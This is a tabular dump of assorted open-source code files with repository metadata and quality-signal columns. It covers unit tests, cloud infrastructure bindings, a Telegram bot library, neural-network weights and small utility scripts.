hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8356dc9872ae7a470409d14cbf24f45790d817c7 | 6,928 | py | Python | tests/modules/classifiers/bert_classifier_test.py | dyoshioka-555/texar | 314ae5d31faef8658e9130e7686066c995d82c67 | [
"Apache-2.0"
] | 2,325 | 2018-08-29T19:34:09.000Z | 2022-03-26T18:11:58.000Z | tests/modules/classifiers/bert_classifier_test.py | dyoshioka-555/texar | 314ae5d31faef8658e9130e7686066c995d82c67 | [
"Apache-2.0"
] | 183 | 2018-08-30T02:17:45.000Z | 2022-02-23T13:53:58.000Z | tests/modules/classifiers/bert_classifier_test.py | dyoshioka-555/texar | 314ae5d31faef8658e9130e7686066c995d82c67 | [
"Apache-2.0"
] | 421 | 2018-08-29T20:00:16.000Z | 2022-03-08T13:32:03.000Z | """
Unit tests for BERT classifiers.
"""
import numpy as np
import tensorflow as tf
from texar.tf.modules.classifiers.bert_classifier import BERTClassifier
from texar.tf.utils.test import pretrained_test
# pylint: disable=too-many-locals, no-member
class BERTClassifierTest(tf.test.TestCase):
"""Tests :class:`~... | 34.29703 | 78 | 0.553839 | 702 | 6,928 | 5.210826 | 0.143875 | 0.059049 | 0.065063 | 0.071077 | 0.813286 | 0.813286 | 0.813286 | 0.808092 | 0.805905 | 0.766539 | 0 | 0.017916 | 0.339348 | 6,928 | 201 | 79 | 34.467662 | 0.781298 | 0.054417 | 0 | 0.771812 | 0 | 0 | 0.078878 | 0.032352 | 0 | 0 | 0 | 0 | 0.114094 | 1 | 0.026846 | false | 0 | 0.026846 | 0 | 0.060403 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8358d0baf49a4c748406483746c60c8f791cc815 | 125 | py | Python | Python3/ex014.py | neilsonfa/cursoemvideo | 3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8 | [
"MIT"
] | null | null | null | Python3/ex014.py | neilsonfa/cursoemvideo | 3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8 | [
"MIT"
] | null | null | null | Python3/ex014.py | neilsonfa/cursoemvideo | 3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8 | [
"MIT"
] | null | null | null | C = float(input("Qual a temperatura em graus Celsius?\n"))
print("A temperatura em graus Fahrenheit é: {}.".format(C*1.8+32)) | 62.5 | 66 | 0.704 | 22 | 125 | 4 | 0.772727 | 0.272727 | 0.318182 | 0.431818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036036 | 0.112 | 125 | 2 | 66 | 62.5 | 0.756757 | 0 | 0 | 0 | 0 | 0 | 0.619048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
83672dd6cef847f57ef35c39734f712aec85ea9a | 681 | py | Python | core/errors.py | rChen10/pywright | a71527b62c072d89c84054b0674b3a65e1227c48 | [
"BSD-3-Clause"
] | 3 | 2016-03-16T01:10:09.000Z | 2022-02-20T00:33:04.000Z | core/errors.py | rChen10/pywright | a71527b62c072d89c84054b0674b3a65e1227c48 | [
"BSD-3-Clause"
] | 1 | 2016-03-16T01:29:57.000Z | 2016-03-16T01:29:57.000Z | core/errors.py | rChen10/pywright | a71527b62c072d89c84054b0674b3a65e1227c48 | [
"BSD-3-Clause"
] | 5 | 2016-03-21T02:48:13.000Z | 2021-08-18T08:58:09.000Z | class script_error(Exception):
def __init__(self,value): self.value = value
def __str__(self): return self.value
__repr__ = __str__
class art_error(Exception):
def __init__(self,value): self.value = value
def __str__(self): return self.value
__repr__ = __str__
class markup_error(Exceptio... | 32.428571 | 49 | 0.706314 | 88 | 681 | 4.647727 | 0.215909 | 0.264059 | 0.166259 | 0.205379 | 0.792176 | 0.792176 | 0.792176 | 0.792176 | 0.792176 | 0.792176 | 0 | 0 | 0.202643 | 681 | 20 | 50 | 34.05 | 0.753223 | 0 | 0 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0.1 | 0 | 0.2 | 0.9 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 11 |
360bddaa6f4acfb557509d05868b38a2c22e74be | 300,988 | py | Python | code_generation/output/teleflask_messages.py | luckydonald/pytgbot | 2fd6072e99f2656d335059fc0a1478b2a62f0c4c | [
"MIT"
] | 52 | 2015-06-25T15:48:19.000Z | 2021-08-10T20:29:11.000Z | code_generation/output/teleflask_messages.py | luckydonald/pytgbot | 2fd6072e99f2656d335059fc0a1478b2a62f0c4c | [
"MIT"
] | 16 | 2016-04-12T08:11:30.000Z | 2021-07-22T18:00:07.000Z | code_generation/output/teleflask_messages.py | luckydonald/pytgbot | 2fd6072e99f2656d335059fc0a1478b2a62f0c4c | [
"MIT"
] | 14 | 2015-06-26T15:29:48.000Z | 2021-08-10T20:29:14.000Z | # -*- coding: utf-8 -*-
from luckydonaldUtils.logger import logging
from luckydonaldUtils.encoding import unicode_type, to_unicode as u
from luckydonaldUtils.exceptions import assert_type_or_raise
from pytgbot.api_types.receivable.updates import Message as PytgbotApiMessage
from pytgbot.exceptions import TgApiServerExc... | 53.892211 | 1,061 | 0.704307 | 39,113 | 300,988 | 5.21645 | 0.017155 | 0.0496 | 0.029922 | 0.041146 | 0.928927 | 0.910195 | 0.896663 | 0.882797 | 0.878126 | 0.874534 | 0 | 0.002299 | 0.20943 | 300,988 | 5,584 | 1,062 | 53.901862 | 0.854904 | 0.367898 | 0 | 0.769494 | 0 | 0.012933 | 0.234932 | 0.104999 | 0 | 0 | 0 | 0 | 0.079118 | 1 | 0.056295 | false | 0.00038 | 0.093191 | 0.00038 | 0.213009 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
3671dd9abeafb39ea161aae24d56cb50456c2cf4 | 28,850 | py | Python | sdk/python/pulumi_azure/automation/webhook.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/automation/webhook.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/automation/webhook.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 47.295082 | 248 | 0.661906 | 3,518 | 28,850 | 5.221148 | 0.06481 | 0.080248 | 0.080793 | 0.061084 | 0.913654 | 0.897866 | 0.88333 | 0.872115 | 0.865309 | 0.853332 | 0 | 0.007161 | 0.240035 | 28,850 | 609 | 249 | 47.372742 | 0.830604 | 0.400589 | 0 | 0.748447 | 1 | 0 | 0.10158 | 0.022261 | 0 | 0 | 0 | 0 | 0 | 1 | 0.161491 | false | 0.003106 | 0.015528 | 0 | 0.273292 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
36a1f1a7eaa2b918a8b0659cd0945088f1b7b7bb | 14,486 | py | Python | metric/time_series_scores.py | IUNetSci/DrifterBot | 05c502fcf9a626321ca20ff83c7c7e5e03cd221d | [
"MIT"
] | 13 | 2020-05-28T21:18:26.000Z | 2022-02-21T09:19:23.000Z | metric/time_series_scores.py | IUNetSci/DrifterBot | 05c502fcf9a626321ca20ff83c7c7e5e03cd221d | [
"MIT"
] | 5 | 2020-05-20T23:15:49.000Z | 2020-05-27T00:32:36.000Z | metric/time_series_scores.py | IUNetSci/DrifterBot | 05c502fcf9a626321ca20ff83c7c7e5e03cd221d | [
"MIT"
] | 8 | 2020-08-17T10:52:12.000Z | 2022-01-20T15:48:15.000Z | import psycopg2
from psycopg2.extensions import AsIs
import numpy as np
import pandas as pd
import os
INIT_SEEDS = [
'USATODAY',
'thenation',
'washingtonpost',
'WSJ',
'BreitbartNews',
] # get their twitter user ids later.
INIT_SEED_MAP = {
'thenation': [<'drifter_scren_name'>,...],
'washingtonpost': [... | 33.925059 | 111 | 0.639721 | 1,991 | 14,486 | 4.334003 | 0.081366 | 0.073937 | 0.058408 | 0.061189 | 0.855603 | 0.836366 | 0.829876 | 0.821068 | 0.815274 | 0.815274 | 0 | 0.014469 | 0.284344 | 14,486 | 426 | 112 | 34.004695 | 0.817884 | 0.007525 | 0 | 0.696335 | 0 | 0 | 0.725613 | 0.142768 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.013089 | null | null | 0.007853 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
36afc57e5ec3e2295c845a2acf12569399335bcd | 133 | py | Python | samples/sequence/Hello/__init__.py | gled4er/azure-functions-durable-python | f212d4c32372e093a6d4d607ba40a2f443372f43 | [
"MIT"
] | null | null | null | samples/sequence/Hello/__init__.py | gled4er/azure-functions-durable-python | f212d4c32372e093a6d4d607ba40a2f443372f43 | [
"MIT"
] | null | null | null | samples/sequence/Hello/__init__.py | gled4er/azure-functions-durable-python | f212d4c32372e093a6d4d607ba40a2f443372f43 | [
"MIT"
] | null | null | null | # To be discussed
from durable_functions.models import activity_trigger
def run(name: activity_trigger):
return f'Hello {name}'
| 22.166667 | 53 | 0.781955 | 19 | 133 | 5.315789 | 0.842105 | 0.29703 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 133 | 5 | 54 | 26.6 | 0.885965 | 0.112782 | 0 | 0 | 0 | 0 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
36e817883c9350adc3296a65cb3d1ea46f82bb89 | 90,366 | py | Python | scripts/go-binsize-viz/example-data/helloworld/hello.py | ganeshkumarsv/datadog-lambda-extension | e6a7dad65a264478b5c1db9bb2195064c496b1cc | [
"Apache-2.0"
] | 9 | 2021-06-04T07:29:24.000Z | 2022-03-21T00:43:34.000Z | scripts/go-binsize-viz/example-data/helloworld/hello.py | ganeshkumarsv/datadog-lambda-extension | e6a7dad65a264478b5c1db9bb2195064c496b1cc | [
"Apache-2.0"
] | 19 | 2021-05-25T13:16:51.000Z | 2022-03-31T08:15:00.000Z | scripts/go-binsize-viz/example-data/helloworld/hello.py | ganeshkumarsv/datadog-lambda-extension | e6a7dad65a264478b5c1db9bb2195064c496b1cc | [
"Apache-2.0"
] | 1 | 2022-03-25T02:58:14.000Z | 2022-03-25T02:58:14.000Z | {'children': {'go · ': {'children': {'$f32.': {'children': {'fffffffe': {'value': 4}}}, '$f64.': {'children': {'3eb0000000000000': {'value': 8}, '3fd0000000000000': {'value': 8}, '3fd3333333333333': {'value': 8}, '3fe0000000000000': {'value': 8}, '3fec000000000000': {'value': 8}, '3fee666666666666': {'value': 8}, '3ff0... | 45,183 | 90,365 | 0.586592 | 9,886 | 90,366 | 5.272709 | 0.253996 | 0.039366 | 0.067222 | 0.018705 | 0.140237 | 0.116122 | 0.112362 | 0.107259 | 0.104593 | 0.100717 | 0 | 0.110336 | 0.099551 | 90,366 | 1 | 90,366 | 90,366 | 0.530245 | 0 | 0 | 0 | 0 | 0 | 0.520771 | 0.011985 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | true | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 7 |
36f4ef5a4de62e0071b758ef7a05d23ccfc92e5e | 102 | py | Python | ivy_builder/data_loaders/__init__.py | ivy-dl/builder | a24d7254e90476332b962f9aba9a02222c55e035 | [
"Apache-2.0"
] | 1 | 2022-02-20T15:40:01.000Z | 2022-02-20T15:40:01.000Z | ivy_builder/data_loaders/__init__.py | ivy-dl/builder | a24d7254e90476332b962f9aba9a02222c55e035 | [
"Apache-2.0"
] | null | null | null | ivy_builder/data_loaders/__init__.py | ivy-dl/builder | a24d7254e90476332b962f9aba9a02222c55e035 | [
"Apache-2.0"
] | 1 | 2022-03-29T15:21:56.000Z | 2022-03-29T15:21:56.000Z | from . import specs
from .specs import *
from . import seq_data_loader
from .seq_data_loader import *
| 20.4 | 30 | 0.784314 | 16 | 102 | 4.75 | 0.375 | 0.263158 | 0.342105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156863 | 102 | 4 | 31 | 25.5 | 0.883721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
7fda9f3992f650c281f2088e7c435c17e7327ae9 | 45 | py | Python | oapi/oas/__init__.py | davebelais/oapi | 5d4f6f21529d491496e1991e0d30209ef5e90c49 | [
"MIT"
] | null | null | null | oapi/oas/__init__.py | davebelais/oapi | 5d4f6f21529d491496e1991e0d30209ef5e90c49 | [
"MIT"
] | null | null | null | oapi/oas/__init__.py | davebelais/oapi | 5d4f6f21529d491496e1991e0d30209ef5e90c49 | [
"MIT"
] | 1 | 2020-08-27T16:08:56.000Z | 2020-08-27T16:08:56.000Z | from . import model
from . import references
| 15 | 24 | 0.777778 | 6 | 45 | 5.833333 | 0.666667 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177778 | 45 | 2 | 25 | 22.5 | 0.945946 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
3d2bfe59cca788477502a48de0ce5c4243b5f031 | 42,254 | py | Python | datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py | conwaychriscosmo/google-cloud-python | 8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a | [
"Apache-2.0"
] | null | null | null | datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py | conwaychriscosmo/google-cloud-python | 8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a | [
"Apache-2.0"
] | null | null | null | datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py | conwaychriscosmo/google-cloud-python | 8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 38.20434 | 88 | 0.661097 | 4,309 | 42,254 | 6.213275 | 0.05268 | 0.069921 | 0.0251 | 0.035857 | 0.904979 | 0.884398 | 0.866395 | 0.850558 | 0.837784 | 0.827214 | 0 | 0.024618 | 0.250154 | 42,254 | 1,105 | 89 | 38.238914 | 0.820383 | 0.063308 | 0 | 0.749035 | 0 | 0 | 0.124864 | 0.072307 | 0 | 0 | 0 | 0 | 0.088803 | 1 | 0.066924 | false | 0.001287 | 0.011583 | 0.001287 | 0.086229 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3d4183d7b1c598f4e319b91804f7be9aaad2bb6f | 82 | py | Python | bartender/users/generators.py | autiwg/bartender | 1c26aefb777a01ce527745c543e60b11a972fe5d | [
"Unlicense",
"MIT"
] | null | null | null | bartender/users/generators.py | autiwg/bartender | 1c26aefb777a01ce527745c543e60b11a972fe5d | [
"Unlicense",
"MIT"
] | null | null | null | bartender/users/generators.py | autiwg/bartender | 1c26aefb777a01ce527745c543e60b11a972fe5d | [
"Unlicense",
"MIT"
] | null | null | null | from uuid import uuid4
def generate_invite_token():
return str(uuid4())[:8]
| 13.666667 | 28 | 0.707317 | 12 | 82 | 4.666667 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044118 | 0.170732 | 82 | 5 | 29 | 16.4 | 0.779412 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
1818ad0cd13da3bed84ee16fab3591b140c22d80 | 383,655 | pyt | Python | eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt | pauls658/ReluDiff-ICSE2020-Artifact | 212854fe04f482183c239e5dfec70106a9a83df8 | [
"Apache-2.0"
] | 7 | 2020-01-27T21:25:49.000Z | 2022-01-07T04:37:37.000Z | eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt | yqtianust/ReluDiff-ICSE2020-Artifact | 149f6efe4799602db749faa576980c36921a07c7 | [
"Apache-2.0"
] | 1 | 2022-01-25T17:41:54.000Z | 2022-01-26T02:27:51.000Z | eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt | yqtianust/ReluDiff-ICSE2020-Artifact | 149f6efe4799602db749faa576980c36921a07c7 | [
"Apache-2.0"
] | 3 | 2020-03-14T17:12:17.000Z | 2022-03-16T09:50:46.000Z | ReLU
[[0.0540062, -2.61092, -0.180027, 0.242194, 0.141407], [-1.12374, 0.0263619, -0.00917929, 0.055623, -0.327635], [0.196019, 0.242159, 0.638452, -0.478265, 0.142577], [-1.63015, -0.0344447, -0.00605492, 0.0112076, -0.0104997], [-0.355133, 0.565969, 0.228267, 0.177342, -0.208078], [-0.0341918, 1.4957, -1.53371, 0.040... | 17,438.863636 | 73,674 | 0.553836 | 104,237 | 383,655 | 2.038451 | 0.180617 | 0.479579 | 0.712154 | 0.940051 | 0.243192 | 0.243098 | 0.243098 | 0.243098 | 0.243098 | 0.243098 | 0 | 0.640777 | 0.135843 | 383,655 | 21 | 73,675 | 18,269.285714 | 0.000121 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
43ec63d8644e06a36d77352d2678224a18955546 | 14,895 | py | Python | kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py | G-Research/kayobe | 80c13e75deb4bff94c5bfe2fd79bb9beecb71873 | [
"Apache-2.0"
] | 48 | 2018-03-08T13:34:34.000Z | 2022-03-14T15:42:20.000Z | kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py | chazzrobbz/kayobe | 5fb6362e2548afdc2ea824678e565ef81cdbcaa5 | [
"Apache-2.0"
] | null | null | null | kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py | chazzrobbz/kayobe | 5fb6362e2548afdc2ea824678e565ef81cdbcaa5 | [
"Apache-2.0"
] | 25 | 2018-04-23T07:51:31.000Z | 2022-03-14T15:42:22.000Z | # Copyright (c) 2020 StackHPC Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wr... | 33.026608 | 76 | 0.551326 | 1,364 | 14,895 | 5.741202 | 0.113636 | 0.067424 | 0.053378 | 0.056187 | 0.800664 | 0.797344 | 0.782786 | 0.775635 | 0.775635 | 0.753799 | 0 | 0.004534 | 0.333602 | 14,895 | 450 | 77 | 33.1 | 0.784405 | 0.037261 | 0 | 0.7175 | 0 | 0 | 0.225115 | 0.051585 | 0 | 0 | 0 | 0 | 0.05 | 1 | 0.065 | false | 0 | 0.01 | 0.0075 | 0.095 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
43ef42922307dc7176868d049c72805c8ccffe39 | 7,165 | py | Python | crossref/paginators.py | SSJenny90/django-publications | 6ca302a6384c60cd161755fe6c757a4412101e99 | [
"MIT"
] | null | null | null | crossref/paginators.py | SSJenny90/django-publications | 6ca302a6384c60cd161755fe6c757a4412101e99 | [
"MIT"
] | null | null | null | crossref/paginators.py | SSJenny90/django-publications | 6ca302a6384c60cd161755fe6c757a4412101e99 | [
"MIT"
] | null | null | null | from django.core.paginator import InvalidPage
class NamePaginator(object):
"""Pagination for string-based objects"""
def __init__(self, object_list, on=None, per_page=25):
self.object_list = object_list
self.count = len(object_list)
self.pages = []
